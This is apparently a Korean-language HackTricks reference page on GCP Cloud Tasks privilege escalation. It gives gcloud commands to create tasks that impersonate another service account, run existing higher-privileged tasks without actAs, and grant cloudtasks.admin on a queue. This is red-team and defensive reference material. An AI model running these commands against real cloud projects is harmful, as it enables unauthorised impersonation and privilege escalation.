GCP - Cloud Tasks Privesc

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

Cloud Tasks

cloudtasks.tasks.create, iam.serviceAccounts.actAs

이 권한을 가진 공격자는 지정한 서비스 계정의 ID로 실행되는 작업을 생성하여 다른 서비스 계정을 가장할 수 있습니다. 이를 통해 IAM으로 보호된 Cloud Run 또는 Cloud Functions 서비스로 인증된 HTTP 요청을 전송할 수 있습니다.

서비스 계정 가장을 사용해 Cloud Task 생성 ```bash gcloud tasks create-http-task \ task-$(date '+%Y%m%d%H%M%S') \ --location us-central1 \ --queue \ --url 'https://.us-central1.run.app' \ --method POST \ --header 'X-Hello: world' \ --body-content '{"hello":"world"}' \ --oidc-service-account-email @.iam.gserviceaccount.com ```

cloudtasks.tasks.run, cloudtasks.tasks.list

이 권한을 가진 공격자는 작업에 연결된 서비스 계정에 대한 권한이 없어도 기존에 예약된 작업을 실행할 수 있습니다. 이는 더 높은 권한을 가진 서비스 계정으로 이전에 생성된 작업을 실행할 수 있게 합니다.

actAs 권한 없이 기존 Cloud Task 실행 ```bash gcloud tasks run projects//locations/us-central1/queues//tasks/ ```

이 명령을 실행하는 주체는 iam.serviceAccounts.actAs 권한이 필요하지 않습니다(작업의 서비스 계정에 대해). 그러나 이는 기존 작업을 실행하는 것만 허용할 뿐, 작업을 생성하거나 수정하는 권한을 부여하지는 않습니다.

cloudtasks.queues.setIamPolicy

이 권한을 가진 공격자는 특정 큐에 대해 자신 또는 다른 주체에게 Cloud Tasks 역할을 부여할 수 있으며, 잠재적으로 roles/cloudtasks.admin으로 권한 상승하여 작업을 생성하고 실행할 수 있는 권한을 얻을 수 있습니다.

큐에 Cloud Tasks 관리자 역할 부여 ```bash gcloud tasks queues add-iam-policy-binding \ \ --location us-central1 \ --member serviceAccount:@.iam.gserviceaccount.com \ --role roles/cloudtasks.admin ```

이로 인해 공격자는 자신이 제어하는 어떤 service account에도 해당 큐에 대한 전체 Cloud Tasks 관리자 권한을 부여할 수 있습니다.

참고자료

Tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기